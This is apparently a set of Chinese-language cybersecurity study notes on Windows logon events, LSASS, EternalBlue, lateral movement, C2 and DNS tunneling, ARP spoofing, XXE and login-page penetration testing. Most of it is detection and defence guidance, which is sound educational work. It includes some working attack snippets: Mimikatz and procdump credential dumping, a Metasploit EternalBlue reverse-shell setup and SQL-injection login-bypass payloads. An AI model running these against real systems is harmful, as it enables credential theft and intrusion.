网安知识“大乱炖“

网安知识"大乱炖"

Windows 安全事件日志常用 Event ID:

Event ID 含义 说明
4624 登录成功 表示用户成功登录系统
4625 登录失败 ✅ 表示登录尝试失败,是暴力破解最关键的日志标志
4672 特权登录 表示具有管理员权限的账户登录(用于检测高权限账户活动)
4648 显式凭证登录 用户在使用runas​或远程方式提供用户名/密码登录

暴力破解相关日志特征:

  • 连续触发大量 4625 登录失败
  • 来自同一个 IP 或多个 IP 的同一账户尝试
  • 账户名频繁切换(尝试猜账号)
  • 可结合防火墙日志进一步确认攻击来源

暴力破解攻击(Brute Force)

典型特征:

  • 使用工具或脚本大量尝试不同用户名/密码组合
  • 请求目标为登录接口
  • 失败率极高(401 表示认证失败)

防护建议:

  • 限制登录失败次数,超限锁定 IP 或账号(如 Fail2Ban)
  • 增加验证码、人机验证机制
  • 开启登录行为告警,使用 SIEM 分析异常频率
  • 使用多因素认证(MFA)

文件上传漏洞防护建议:

  • 严格检查文件类型(扩展名 + MIME + 魔术字节)
  • 上传目录与 Web 应用主目录 逻辑隔离
  • 禁止上传目录执行权限(如 Nginx 配置中加 location /uploads { deny all; }​)
  • 为上传文件加随机名 & 无执行权限
  • 检查文件内容,不仅仅是扩展名

X-Forwarded-For伪造

X-Forwarded-For​(简称 XFF)是一个 HTTP 请求头,用于标识请求的客户端真实 IP 地址,通常用于代理服务器或负载均衡器转发请求时。然而,这个字段是可以被伪造的,这意味着攻击者可以通过篡改该头部来欺骗服务器,使其误以为请求来自信任的 IP 地址。

伪造方法:

攻击者可以在 HTTP 请求头中伪造 X-Forwarded-For​ 字段,以覆盖或修改真实的客户端 IP 地址。例如:

X-Forwarded-For: 127.0.0.1

在这种情况下,攻击者伪造请求头,将其 IP 地址改为 127.0.0.1​,使得 Web 服务器误认为请求来自本地计算机。这可能导致绕过 IP 黑名单或白名单控制。

伪造的目的:

  1. 绕过 IP 限制:如果服务器依赖 IP 地址进行访问控制(如白名单或黑名单),伪造的 IP 地址可以绕过这些限制。
  2. 隐藏攻击来源:攻击者伪造请求头来隐藏真实 IP,从而避免追踪和检测。
  3. 进行更复杂的攻击:例如暴力破解、DDoS 攻击时,伪造的 IP 地址可以帮助攻击者隐藏其真实身份,增加攻击的隐蔽性。

防护措施:

  1. 不信任客户端传递的 X-Forwarded-For​:服务器应避免直接信任 X-Forwarded-For​ 字段,特别是当它来自不受信任的源(如直接暴露给公网的代理)。
  2. 验证代理服务器的 IP 地址:配置 Web 服务器(如 Nginx、Apache)以确保只允许可信的代理服务器修改 X-Forwarded-For​ 字段,过滤不可信的 IP 地址。
  3. 使用专用的负载均衡器或代理服务器:确保代理和负载均衡器部署在受信网络中,且通过 HTTPS 加密通道传递请求,避免中间人攻击。
  4. 多层安全措施:结合 IP 限制、验证码、IP 地理位置分析和多因素认证等手段,增加攻击者伪造 IP 地址的难度。

通过这些措施,Web 应用可以有效减少 X-Forwarded-For​ 伪造带来的安全风险。


LSASS

什么是 LSASS?

LSASS(Local Security Authority Subsystem Service)是 Windows 操作系统中的一个核心系统进程,进程名为:lsass.exe​。

它负责处理操作系统的安全策略,例如:

  • 用户登录认证
  • 密码验证
  • 创建访问令牌(Access Tokens)
  • 强制执行安全策略(如账号锁定策略)
  • 处理 Kerberos / NTLM 协议认证
  • 管理用户凭据缓存(如明文密码、哈希等)

⚠️ 为什么 LSASS 是攻击目标?

由于 LSASS 进程内存中保存了登录过的用户的密码明文、哈希、Kerberos 票据等敏感信息,所以它成为了攻击者在获取权限后,进一步横向移动或提升权限的关键目标

常见的攻击方式:

  1. Mimikatz 工具提权: 攻击者用 Mimikatz 读取 LSASS 内存,从中提取明文密码、NTLM 哈希或 Kerberos 票据。

    mimikatz.exe
    privilege::debug
    sekurlsa::logonpasswords
    
  2. LSASS 内存转储 + 离线分析: 将 LSASS 进程内存转储为 .dmp​ 文件后,通过工具分析提取凭据。

    procdump -ma lsass.exe lsass.dmp
    
  3. 横向移动: 利用导出的凭据攻击其他主机(如使用 pass-the-hash​ 或 pass-the-ticket​ 攻击)。

风险示例:

  • 一旦域控的 LSASS 被读取,可能导致整个域的用户凭据泄露。
  • 通过 LSASS 导出的 Kerberos 金票(Golden Ticket)可以无限期访问系统资源,后果极其严重。

️ 防护措施:

类别 防护措施
系统配置 启用 LSA 保护(Credential Guard、RunAsPPL)防止访问 LSASS
权限控制 限制本地管理员权限,开启 UAC,限制调试权限
检测工具 使用 EDR 工具监控对 LSASS 的访问行为
日志审计 开启 4624、4625、4672 等登录事件的日志监控
网络防护 阻止攻击者上传工具,如 mimikatz.exe,封锁异常出网流量

小结:

  • LSASS 是凭据保护核心,极易被攻击者利用。
  • 一旦检测到异常访问,优先隔离主机网络,避免凭据扩散。
  • 后续应进行内存转储分析、日志取证、账号密码重置等操作

中间人攻击(MITM)

中间人攻击(MITM,Man-In-The-Middle)是一种网络攻击方式,攻击者在通信双方之间悄悄插入自己,拦截、篡改、窃听或伪造数据,而双方通常毫不知情

工作原理:

攻击者通过以下方式介入通信流程:

  1. 监听:截获通信内容,比如账号、密码、cookie 等敏感数据。
  2. 篡改:修改通信数据,比如更改汇款账户、插入恶意代码。
  3. 伪装:假冒其中一方,让另一方误以为在和正确的人通信。

常见 MITM 攻击场景:

场景 描述
公共 Wi-Fi 攻击 攻击者搭建“钓鱼热点”或监听无加密的 Wi-Fi 网络
DNS 欺骗 把用户请求的域名解析到攻击者控制的服务器上
ARP 欺骗 局域网中欺骗网关和主机,实现流量转发或篡改
HTTPS 劫持 替换证书,绕过加密通信(如果客户端不验证证书)

✅ 防御措施:

  • (核心措施)使用 HTTPS 和 SSL/TLS 加密通信
  • 验证服务器证书合法性,避免信任伪造证书
  • 避免使用 HTTP 登录敏感网站
  • 使用 VPN 加密全部流量,特别是在公共网络中
  • 启用 HSTS(HTTP 严格传输安全) 强制使用 HTTPS
  • 警惕浏览器证书警告,不要忽略
  • 采用双因素认证(2FA) ,防止凭证被截获后直接登录

SMB 协议漏洞利用

SMB(Server Message Block)协议 是 Windows 系统中用于文件共享、打印机共享、远程服务等功能的核心协议。

  • 端口:

    • 139(NetBIOS)
    • 445(直接 SMB over TCP)
  • 常见工具:Windows 资源共享(\IP\共享名)、smbclient​、smbmap​、impacket​等。

常见 SMB 协议漏洞(攻击者常用)

EternalBlue(永恒之蓝)

  • 漏洞编号:MS17-010

  • 影响系统:Windows XP 到 Windows Server 2012

  • 攻击方式:利用 SMBv1 协议的漏洞,实现 远程代码执行(RCE)

  • 攻击工具

    • 过程
    • Metasploit 模块:exploit/windows/smb/ms17_010_eternalblue
    • 第三方工具:EternalBlue-DoublePulsar​、EternalScanner

⚠️ 该漏洞被 WannaCry 勒索病毒 用于大规模传播!

  • 拓展:MS17-010 的横向移动过程

    • 攻击者控制一台内网主机
    • 扫描内网其他主机是否开启 445 端口
    • 利用 MS17-010 漏洞发起攻击
    • 成功后在目标机上植入 shellcode 或控制器(如 DoublePulsar)
    • 控制目标机并继续向其他主机横向传播

SMBGhost(CVE-2020-0796)

  • 又名「CoronaBlue」
  • 影响系统:Windows 10/Server 2019(SMBv3)
  • 同样可造成 远程代码执行
  • 2020 年爆出,攻击方式类似 EternalBlue

️ 漏洞利用步骤(以 EternalBlue 为例):

  1. 目标扫描

    nmap -p 445 --script=smb-vuln-ms17-010 <target-ip>
    
  2. 确认漏洞存在 工具如 smbclient​, smbmap​, impacket-scan

  3. 发起攻击(Metasploit 框架)

    use exploit/windows/smb/ms17_010_eternalblue
    set RHOST <目标IP>
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST <你的IP>
    exploit
    
  4. 获得 shell(meterpreter) ,继续内网渗透、提权或横向移动。

防御措施:

  • 关闭 SMBv1 协议(Windows 功能中禁用)
  • 打补丁! :及时安装微软发布的安全更新
  • 使用防火墙隔离 SMB 服务
  • 禁用匿名访问
  • 入侵检测系统(IDS)部署 SMB 流量规则
  • 使用强认证机制,开启签名验证

总结:

项目 内容
协议 SMB(文件共享、远程服务)
风险 存在多个远程代码执行漏洞
常见漏洞 EternalBlue(MS17-010)、SMBGhost 等
后果 获取系统权限、横向移动、传播勒索病毒
防御 打补丁、关闭 SMBv1、限制端口访问、加强监控

内网横向移动技术

内网横向移动是指攻击者在成功入侵内网一台主机后,以该主机为跳板,进一步渗透内网其他系统的过程。这是高级持续性威胁(APT)攻击中的关键环节。

常见横向移动技术

凭证窃取与重用

  • 抓取内存中的明文密码(LSA Secrets)
  • 提取缓存的凭据(Credential Dumping)
  • 使用Mimikatz等工具获取Kerberos票据
  • 哈希传递攻击(Pass-the-Hash)
  • 票据传递攻击(Pass-the-Ticket)

利用网络服务漏洞

  • 攻击SMB、RDP、WinRM等管理协议
  • 利用永恒之蓝(MS17-010)等漏洞
  • 攻击数据库服务(MySQL, MSSQL等)

利用管理工具

  • 滥用PsExec、WMI、PowerShell Remoting等合法管理工具
  • 使用远程计划任务执行命令
  • 通过DCOM对象远程执行

利用信任关系

  • 利用域内信任关系跨域移动
  • 滥用管理员共享(Admin 、 C 、C C等)
  • 利用组策略对象(GPO)部署恶意脚本

中间人攻击

  • LLMNR/NBT-NS投毒
  • ARP欺骗
  • SMB中继攻击

横向移动检测常见日志来源:

日志类型 作用
️Windows 安全日志(4624/4625) 检测登录成功/失败,追踪访问路径
Sysmon 日志(如事件 3) 检测网络连接行为(含目标 IP 和端口)
PowerShell 脚本执行日志 检测攻击者执行的横向脚本
防火墙/IDS/IPS 日志 检测可疑的内部流量(端口扫描、爆破)

已失陷主机作为横向跳板的典型迹象

1. 异常 DNS 活动

  • 查询可疑或非主流域名(如 abc123.xyz​、malware-update.net​ 等)。
  • DNS 请求频率异常(高频查询、间隔规律)。
  • 查询**DGA(域名生成算法)**生成的域名。

说明:攻击者可能通过 DNS 通道与 C2 服务器通信。

2. 横向扫描或连接尝试

  • 向内网多个主机发起:

    • RDP(3389端口)
    • SMB(445端口)
    • WMI/WinRM(135、5985端口)
    • SSH(22端口)
  • 利用 PsExec、WMI、PowerShell Remoting 远程执行命令。

说明:失陷主机被用来在内网“横向探测”和“横向控制”。

3. 异常登录行为

  • 同一个用户短时间内登录多台主机。
  • 使用高权限账号(如管理员/域控账号)登录异常。
  • 登录时间不符合正常规律(凌晨、节假日等)。
  • 登录来源 IP 或主机历史从未使用过。

4. 异常进程行为

  • 出现非常规进程或执行路径,如:

    • cmd.exe​ / powershell.exe​ 被远程触发执行。
    • svchost.exe​、wmiprvse.exe​ 等系统进程被滥用。
  • 进程间调用链异常,例如某个普通用户触发了远程服务启动。

5. 网络行为异常

  • 出现大量横向连接(SMB、RPC、LDAP 查询等)。
  • 与内网中多个段的通信突然活跃。
  • 向外部 IP 或域名建立长时间或频繁连接(可能是 C2)。

6. 安全工具告警

  • EDR/杀毒软件提示“横向移动工具”运行(如 Mimikatz、PsExec)。
  • SIEM 告警异常凭据使用或传递(如 Pass-the-Hash)。

横向移动的主要特征:

横向移动的关键是“合法账号被用于在多台主机间移动”

  1. 异常登录行为
  • 某账号(尤其是高权限账号)短时间内登录多台不同主机。
  • 非正常时间(如深夜、周末)出现大量登录。
  • 从未登录过某主机的用户突然出现登录记录。
  • 登录来源 IP 异常(比如跳跃或远程子网)。
  1. 使用远程管理工具或协议
  • 使用 RDP(远程桌面协议)SMB(共享)WMI(Windows Management Instrumentation)PowerShell Remoting
  • 利用如 PsExecwmicWinRM 等工具从一台机器远程执行命令到另一台。
  1. 凭据滥用
  • 攻击者使用 Mimikatz 等工具在一台主机上提取凭据后,在其他主机上复用。
  • 登录行为中出现“票据委托”、“哈希传递(Pass-the-Hash)”、“票据传递(Pass-the-Ticket)”等迹象。
  1. 横跨多台主机的进程创建或网络连接
  • 一台主机上通过 SMB/WMI 创建远程进程。
  • 某用户在多台主机上同时出现 PowerShell、cmd.exe、svchost.exe 等可疑进程。
  • 多台主机间出现异常的端口通信(如 445、135、5985、3389)。
  1. 访问权限异常扩展
  • 普通用户突然访问本不应有的资源。
  • 新用户被添加到高权限组(如 Domain Admins)。
  • AD(Active Directory)中对象权限被修改。

检测与防御建议:

  • 开启并监控 Windows 安全日志(事件 ID 4624、4625、4672、4688 等)
  • 配置 SIEM、EDR 等安全工具检测异常登录和进程行为。
  • 使用最小权限原则,限制用户在网络中的权限范围。
  • 定期检查域控与服务器的登录行为。

常见 Web 攻击日志识别速查表

攻击类型 日志特征关键字 / URL 特征 示例 说明
SQL 注入 UNION SELECT​,' OR '1'='1​,--​,%27​,sleep​,user()​,information_schema id=1 UNION SELECT user(), NULL -- 利用 SQL 语法注入恶意语句
XSS 注入 JS 脚本,让浏览器执行恶意代码
目录遍历 ../​,%2e%2e%2f​,../../etc/passwd GET /../../../etc/passwd 试图访问网站目录之外的系统文件
命令注入 |​、;​、&& , ​;, ​&&, ​whoami, ​curl, ​wget, ​cat, ​uname -a` cmd=whoami;ls -al
文件包含 ?file=...​,php://input​,php://filter​,../../​,data:// file=../../../../etc/passwd 试图包含系统文件或远程文件
远程代码执行(RCE) eval()​,system()​,exec()​,base64_decode()​,assert() POST /upload.php​+ body: 上传 WebShell 或通过 eval 执行命令
暴力破解 高频率请求登录页面、POST /login​,用户名常变化,IP 重复 多次POST /login user=admin&pass=xxx 爆破账号密码
CSRF 尝试 伪造表单请求、不常见来源 Referer、有敏感操作参数 POST /transfer?to=123&money=1000 非本站来源发起敏感操作
敏感文件探测 .git​,.svn​,backup.zip​,www.rar​,.env​,web.config GET /.git/config 探测源码管理或配置泄漏
扫描器指纹 大量奇怪路径请求,User-Agent 为sqlmap​,dirb​,nikto​等 GET /admin/login.php
UA: sqlmap
自动化扫描器尝试暴力探测路径/注入点

Web 打点流程图(标准六步)

1. 目标识别(子域、资产)
2. 指纹识别(中间件/框架/语言)
3. 目录枚举 & 页面分析
4. 参数测试(注入点、上传点)
5. 漏洞利用(SQLi/XSS/File Upload)
6. 权限维持(Webshell、弱口令等)

C2通信

C2(Command and Control)通信是指攻击者通过某种方式远程控制已经被入侵的设备或系统的通信方式。它是恶意软件生命周期中关键的一环,尤其是在僵尸网络(botnet)、远控木马、后门等攻击场景中。

C2 通信是什么?

当一个设备被感染后,恶意软件通常不会“自作主张”地发起攻击或窃取数据,而是会:

  1. 主动连接攻击者设定的远程服务器(即 C2 服务器);
  2. 接收指令(如上传数据、下载执行文件、横向移动等);
  3. 发送回执(如命令执行结果、窃取到的数据);
  4. 保持长期控制,可被攻击者随时激活。

常见 C2 通信方式:

  • HTTP/HTTPS(最常见,伪装成正常流量)
  • DNS 隧道(绕过防火墙)
  • 加密通信(使用 TLS、AES 加密内容)
  • 社交媒体、GitHub、Telegram(隐藏指令在公开平台)
  • P2P 网络(避免单点失败)

⚠️ 如何识别 C2 通信?

  1. 异常加密连接:未知进程频繁访问境外 IP,特别是非 HTTP 常规端口(如 443、8080)。
  2. 不正常的 DNS 查询:频繁访问看起来无意义的子域名(如 a13x4.example.com​)。
  3. 连接周期性:每隔一段时间固定访问某一 IP 或域名。
  4. 进程不明来源:某些后台进程不是管理员安装的,且正在网络通信。

防御策略:

  • 使用入侵检测系统(IDS)监控出站连接
  • 限制服务器只能访问白名单 IP
  • 日志审计(netstat、wireshark、firewall log)
  • 终端安全管理(EDR、HIDS)

DNS协议

DNS(Domain Name System)协议 是一种基于 UDP 或 TCP 协议的应用层协议,主要用于将域名(如 www.baidu.com)转换成 IP 地址(如 180.101.49.11)的过程。

它定义了客户端(如浏览器)与 DNS 服务器之间如何通信、格式如何组织,端口号是:

UDP 53 端口(查询用,99%情况下)

TCP 53 端口(区域传输、超长响应用)

DNS 的基本过程:

  1. 你在浏览器输入网址:www.example.com
  2. 浏览器会问系统:这个域名对应哪个 IP?
  3. 系统检查本地缓存、DNS 缓存,再不行就发请求给 DNS 服务器。
  4. DNS 服务器返回对应的 IP 地址。
  5. 浏览器再用这个 IP 去访问服务器,加载网页。

⚠️ 与安全相关的 DNS 知识:

DNS 劫持

攻击者拦截或篡改 DNS 请求,把你本来要去的地址换成恶意网站。例如:

  • 你访问 bank.com
  • 实际被引导到了攻击者的假冒网站

DNS 隧道(DNS Tunneling)

黑客可以把数据伪装成 DNS 请求发出,实现突破防火墙限制。

比如这个“域名”:

cGFzc3dvcmQ9aGFja2VkLmV2aWwtdHVuLmNvbQ==

实际上是 base64 编码的敏感信息!

恶意软件就会把窃取的数据藏在这种“看起来像 DNS”的请求里发送出去。

恶意域名通信

C2 控制端可能通过动态域名(DDNS)或算法生成的域名(DGA)来控制僵尸主机。

如何监控 DNS 异常?

  • 查询记录是否频繁访问未知/可疑域名
  • 是否存在无规律的长字符串子域名(DGA 特征)
  • 是否频繁访问外部 DNS 服务器(绕过本地 DNS)
  • DNS 请求量是否异常暴增

DNS 安全建议:

  • 使用可信 DNS 服务(如 114DNS、Google DNS、Cloudflare)
  • 启用 DNS over HTTPS(DoH)或 DNS over TLS(DoT)
  • 搭配 IDS/EDR 监控 DNS 出站行为
  • 设置 DNS 黑名单和域名过滤

常见日志类型及其作用

日志类型 路径/来源 用途 示例用途
系统日志(syslog) /var/log/syslog​、/var/log/messages 系统级事件、服务运行情况 检查系统启动、服务崩溃
认证日志 /var/log/auth.log 登录、sudo、ssh 等认证信息 分析爆破、非法登录
cron 日志 /var/log/cron 定时任务执行记录 检查是否被植入计划任务
web 服务日志 /var/log/nginx/access.log​等 访问行为、请求来源 检测 Web 攻击(如 SQL 注入)
防火墙日志 依厂商不同(如 iptables、UFW) 流量允许/阻止记录 检查端口扫描、拒绝连接等
EDR/安全软件日志 厂商定义 恶意行为检测与响应 横向移动、命令执行、进程注入等
Windows 安全日志 Windows Event Viewer(如 4624、4625) 登录、权限变更、审计事件 监控横向移动、权限提升
数据库日志 mysql.log​、慢查询日志等 数据库操作记录 注入攻击分析、性能优化
邮件日志 /var/log/maillog​或 Postfix 邮件收发行为 钓鱼攻击溯源
DNS 日志 BIND、dnsmasq、EDR DNS 模块 域名查询行为 检测 C2 通信、DNS 隧道

️ 安全日志排查建议

  • **分析主机被入侵?**看:auth.log​、cron​、syslog
  • **Web 被打?**看:access.log​、error.log​、WAF 日志
  • **疑似横向移动?**看:Windows 安全日志(4624/4625)、Sysmon
  • **可疑连接外网?**看:DNS 日志、防火墙日志、EDR 网络行为模块

高度混淆的 Webshell 工具(如 Godzilla、Cobalt Strike的Beacon)

常见通信特征包括:

  • 使用 Ajax 请求进行隐藏通信(即 X-Requested-With: XMLHttpRequest​)
  • 利用 POST 请求 传输 payload
  • 传输内容采用 Base64、AES、RSA、异或等方式加密/编码
  • 数据结构通常封装为 JSON,如 {"data":"xxxxx"}

拓展知识:

工具 特征
Godzilla 加密通信,POST+JSON,Base64,X-Requested-With 伪装 Ajax
Cobalt Strike Beacon 可自定义通信方式,支持 HTTP、HTTPS、DNS,常伪装为正常请求
Behinder 加密 payload,通信可能为 AES/RSA,支持异步

ARP 攻击 / ARP 欺骗

ARP(地址解析协议) 用于将 IP 地址解析为 MAC 地址,它是以太网通信的基础。

ARP 攻击(ARP 欺骗/ARP spoofing) 这是内网中非常常见的一种中间人攻击方式,对网络安全非常有威胁,尤其是在缺乏防护的局域网环境中(如校园网、办公网等)。

正常流程:

主机 A 想找 192.168.1.1 的 MAC,会发送一个广播请求:

"谁是 192.168.1.1?告诉我你的 MAC。"

网关回应它的 MAC 地址,然后 A 就可以正常通信。

⚠️ ARP 欺骗的核心思想:

攻击者伪装成其他主机(尤其是网关),向局域网内发送伪造的 ARP 响应,比如告诉别人:

“嗨,我是网关(192.168.1.1),我的 MAC 是 xx:xx:xx:xx:xx:xx”

这样其他主机会把流量发给攻击者,攻击者再转发出去,实现中间人攻击(MITM)。

ARP 欺骗的危害

危害 描述
中间人攻击(MITM) 攻击者可以拦截、修改或伪造通信数据。
流量窃听 窃取账户密码、敏感文件、会话 Cookie 等。
会话劫持 比如伪造微信/QQ 网页版请求进行控制。
断网攻击 攻击者伪装成目标主机,让网关发错方向,目标主机“失联”。
DNS 劫持 配合伪造 DNS 响应实现钓鱼重定向。

如何识别 ARP 欺骗?

① 在网络设备或主机上:

  • ARP 表异常:同一 IP 地址对应多个 MAC 地址(频繁变动)。
  • 大量 ARP 响应:局域网中看到“无请求”的 ARP 响应包。
  • 交换机端口映射频繁变动:一个 MAC 地址频繁出现在不同端口。

② 命令行查看(Windows / Linux):

arp -a

查看是否有不一致的记录,比如:

192.168.1.1 00-11-22-33-44-55 192.168.1.1 66-77-88-99-aa-bb ← 出现多个!

️ 防御措施

措施 描述
静态 ARP 绑定 在关键设备(如网关)设置静态 IP-MAC 映射。
启用交换机端口安全 限制一个端口只能对应一个 MAC 地址。
使用 DHCP Snooping + Dynamic ARP Inspection(DAI) 企业级交换机功能,可有效防止 ARP 欺骗。
部署 IDS/IPS 工具 如 Snort、Arpwatch 可检测异常 ARP 流量。
VPN 隧道加密通信 防止攻击者即使抓包也无法读取明文内容。

XML注入攻击

XML 注入攻击 是一种通过操控 XML 数据,向 Web 应用程序注入恶意的 XML 代码或标签,从而利用应用程序在处理 XML 数据时的漏洞,进行未授权的操作或数据泄露的攻击方式。这类攻击主要利用应用程序对 XML 数据解析时的安全性漏洞。

1. 攻击原理

XML 注入攻击的原理基于应用程序处理 XML 输入时的漏洞。攻击者通过构造特殊的 XML 数据来干扰 XML 解析过程,可能导致以下情况:

信息泄露:攻击者能够通过注入恶意 XML 标签,访问系统的文件或敏感数据。

绕过验证:攻击者利用 XML 格式的注入绕过应用程序的输入验证或访问控制。

执行恶意代码:通过恶意的 XML 注入,攻击者能够执行服务器上的代码,导致权限提升或其他安全漏洞。

2. 常见攻击方式

外部实体注入(XXE,XML External Entity Injection) : XXE 是 XML 注入的一种常见形式,攻击者通过构造恶意的 XML 数据请求,利用外部实体加载敏感文件或执行恶意操作。例如,攻击者可以通过 XML 请求访问服务器上敏感文件如 /etc/passwd​ 或执行远程代码。
示例

DOCTYPE foo [
  <!ELEMENT foo ANY >
  ]>
<foo>&xxe;foo>

这种攻击会导致解析器尝试加载文件 /etc/passwd​,从而暴露敏感信息。

恶意 XML 标签注入: 攻击者通过在 XML 数据中注入恶意标签或属性,篡改原本的请求,造成验证绕过、数据泄漏、服务崩溃等安全问题。

XML 实体扩展攻击: 攻击者可以利用 XML 实体注入漏洞,注入恶意代码或执行恶意操作,导致服务器出现拒绝服务(DoS)等攻击。

3. 常见影响

  • 数据泄露:攻击者可能通过 XML 注入访问并泄露服务器上的敏感数据或系统文件。
  • 服务拒绝(DoS) :通过过度复杂的 XML 数据导致服务器处理负担过重,进而崩溃或出现拒绝服务状态。
  • 绕过安全验证:攻击者通过注入恶意数据绕过应用程序的认证或授权机制。
  • 执行远程代码:攻击者通过 XML 文件注入远程代码执行(RCE)攻击,进而控制目标系统。

4. 防护措施

禁用外部实体解析(XXE) : 在处理 XML 数据时,禁用外部实体解析功能,防止通过恶意实体加载敏感文件或执行恶意操作。
例如,Java 中禁用外部实体

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

输入验证与清理: 对用户输入的 XML 数据进行严格验证,确保不包含恶意的标签或特殊字符。对 XML 数据进行转义或清洗,防止非法数据被执行。

使用安全的 XML 解析库: 使用经过安全审计的 XML 解析库,这些库通常会默认禁用不安全的功能,如外部实体解析、DDoS 风险等。

最小化 XML 处理功能: 仅启用 XML 解析所需的基本功能,避免启用可能导致漏洞的高级功能,如外部实体引用、DTD(文档类型定义)等。

保持库和框架的更新: 确保使用的 XML 解析库和相关框架是最新的,及时修复已知的安全漏洞。

配置 Web 应用防火墙(WAF) : 使用 WAF 对 XML 请求进行过滤,检测和阻止恶意的 XML 注入攻击。

5. 总结

XML 注入攻击是一种通过恶意 XML 数据操控应用程序的攻击方式,可能导致信息泄露、拒绝服务(DoS)或远程代码执行等严重安全问题。为了防止 XML 注入攻击,开发人员应加强对 XML 输入的验证和清理,禁用不必要的解析功能,使用安全的解析库,并定期更新应用程序和库,确保系统安全。


POC

POC 是概念验证代码,主要目的是为了验证漏洞是否真实存在,常用于渗透测试或漏洞复现过程中。它通常不包含破坏性payload只是用来触发漏洞,比如访问异常页面、看到系统信息、返回特定报错等。

POC vs EXP 的区别

名称 全称 用途 特点
POC Proof of Concept 验证漏洞是否存在 安全、非破坏性
EXP Exploit 利用漏洞执行攻击 有破坏性,可植入木马等

POC 的形式有哪些?

  1. Python 脚本(常见)
  2. BurpSuite 的HTTP请求
  3. Metasploit模块
  4. 一句命令(curl、sqlmap)
  5. 图文操作流程(比如点击某按钮触发漏洞)

APT攻击(高级持续性威胁)

APT 攻击,全称 Advanced Persistent Threat(高级持续性威胁) ,是目前最具破坏性和隐蔽性的网络攻击形式之一,常用于国家级黑客、情报机构、APT组织进行长期、高价值目标的渗透和控制。

简单来说,APT攻击是一种有组织、有计划、长期潜伏并持续对目标实施信息窃取或破坏的攻击行为。

APT 攻击往往遵循如下流程(ATT&CK / Kill Chain 模型)

初始入侵(Initial Access)

  • 网络钓鱼(带恶意文档/宏)
  • 利用0day/已知漏洞(如OA系统、VPN、堡垒机)
  • U盘投毒、供应链攻击

权限提升(Privilege Escalation)

  • 提权工具(如 Mimikatz、Seclist)
  • 利用系统配置缺陷

横向移动(Lateral Movement)

  • SMB、RDP、WMI 等协议在内网横向传播
  • 窃取账号凭证,用已知账号登录其他机器

持久化控制(Persistence)

  • 设置计划任务、自启动、修改注册表
  • 安装 Webshell、植入远控木马(如 Cobalt Strike)

数据收集与窃取(Data Exfiltration)

  • 压缩、加密敏感数据
  • 通过 DNS、HTTP、HTTPS 等协议外传数据

隐匿与清除(Defense Evasion)

  • 删除日志、利用 Rootkit 隐身
  • 加密通信、伪造流量、伪装成正常进程运行

️ 防御 APT 的关键策略

  1. 提升检测能力

    • 部署 EDR/XDR/UEBA/SIEM 等检测平台
    • 引入威胁情报(IOC、TTP)
    • 定期做红蓝对抗、攻防演练
  2. 加强边界和内部安全

    • 网络分段、最小权限控制
    • 多因子认证、限制远程访问
    • 日志审计、异常行为检测
  3. 及时打补丁

    • 防止被利用已知漏洞攻破边界
  4. 应急响应机制

    • 发现迹象及时取证、隔离、处置、复盘
    • 保留镜像、日志等证据供后续溯源

登录页面渗透思路

登录渗透测试
├─ 信息收集
├─ 爆破弱口令
├─ 验证码绕过
├─ SQL注入
├─ 认证逻辑漏洞
├─ 会话管理问题
├─ 功能旁路测试
├─ 前端信息泄露
└─ 登录后漏洞验证

1. 第一步:信息收集(Recon)

测试内容 说明
页面观察 表单字段名?是否有验证码?是否有第三方登录?
请求抓包 抓取 POST 请求、参数、返回包结构
源码审计 查看 HTML/JS 中是否有敏感信息、调试语句
指纹识别 确认使用的框架/系统,如 Spring、ThinkPHP
响应分析 错误提示是否区分用户/密码?有无响应时间差?
URL 参数 有无重定向字段,如next=​、redirect=

2. 第二步:测试弱口令/爆破

步骤:

① 使用 Burp Suite 抓取登录包

② 用 Intruder 模块进行爆破测试

③ 尝试弱口令如:admin / admin123 / 123456 / root / qwe123 / test123

绕过方式:

  • 删除或伪造验证码字段(如验证码为空也可登录)
  • 添加延迟/换IP对抗登录限制
  • 判断是否有锁定机制(如5次失败锁定)

3. 第三步:验证码绕过测试

绕过方式 举例
不校验验证码 请求包中验证码字段可省略或为空
验证码可复用 多次提交同一个验证码
验证码逻辑绕过 登录接口不走验证码验证接口
验证码接口缺陷 可直接获取图形验证码内容(接口未鉴权)

4. 第四步:注入攻击测试(SQL 注入)

测试 payload:

admin' or '1'='1
admin" or "1"="1
admin'--

观察是否绕过登录成功,或出现异常提示(如SQL报错)。

工具辅助:sqlmap -r login.req --batch

5. 第五步:认证逻辑漏洞测试

漏洞类型 示例
只验证用户名 不校验密码即可登录
默认token机制 登录后cookie可伪造,如admin_token=1
OAuth登录绕过 篡改 openid、code 参数即可接管其他账户
逻辑缺陷 用户登录状态可直接切换身份,如uid=1​即为 admin

6. 第六步:会话管理漏洞测试

重点测试:

  • 登录后的 session ID 是否可预测?
  • 是否存在固定 session(Session Fixation)?
  • 使用他人 Cookie 是否可重放登录?
  • 使用 JWT 是否有漏洞(如 alg=none​)?

7. 第七步:功能旁路点测试

目标 举例
注册接口 是否可绕过认证注册管理员?
忘记密码 是否泄露账号存在与否?
接口分离 是否存在绕过验证码的登录接口?(如/api/login_nocaptcha​)

8. 第八步:前端JS信息泄露

检查点:

  • JS中是否包含调试信息?
  • 是否有隐藏账号?
  • 是否有加密/解密逻辑?(如 AES key)
  • 有无前后端分离接口暴露?

9. 第九步:登录成功后继续测试

深入测试点:

  • 权限提升(越权访问后台)
  • 功能点漏洞(如任意文件上传、XSS)
  • token泄露(修改 token 实现越权)
  • 日志查看(是否记录用户敏感信息)

常见 HTTP 请求方法

方法 功能 常见用途 风险点
GET 请求资源 浏览网页、查询数据 URL参数泄露、缓存攻击
POST 提交数据 表单提交、登录请求 CSRF、XSS、SQL注入等
PUT 上传或替换资源 文件上传(API/服务) 任意文件上传漏洞
DELETE 删除资源 RESTful 接口中删除数据 权限绕过可导致数据破坏
HEAD 获取响应头 探测网页状态/内容类型 枚举资源是否存在
OPTIONS 探测支持的方法 CORS 探测、权限分析 探测服务能力
PATCH 局部更新资源 JSON Patch API 更新 不常见,但有应用风险
TRACE 回显请求内容 调试用途 XST 攻击(跨站追踪) ,高危
CONNECT 建立隧道连接 HTTPS代理使用 SSRF/端口探测风险高

常见请求头(Headers)

请求头名称 作用说明
Host 目标服务器域名
User-Agent 客户端标识(浏览器、系统)
Accept 可接受的响应类型
Accept-Encoding 支持的压缩方式(如 gzip)
Content-Type 请求体的类型(如表单、JSON)
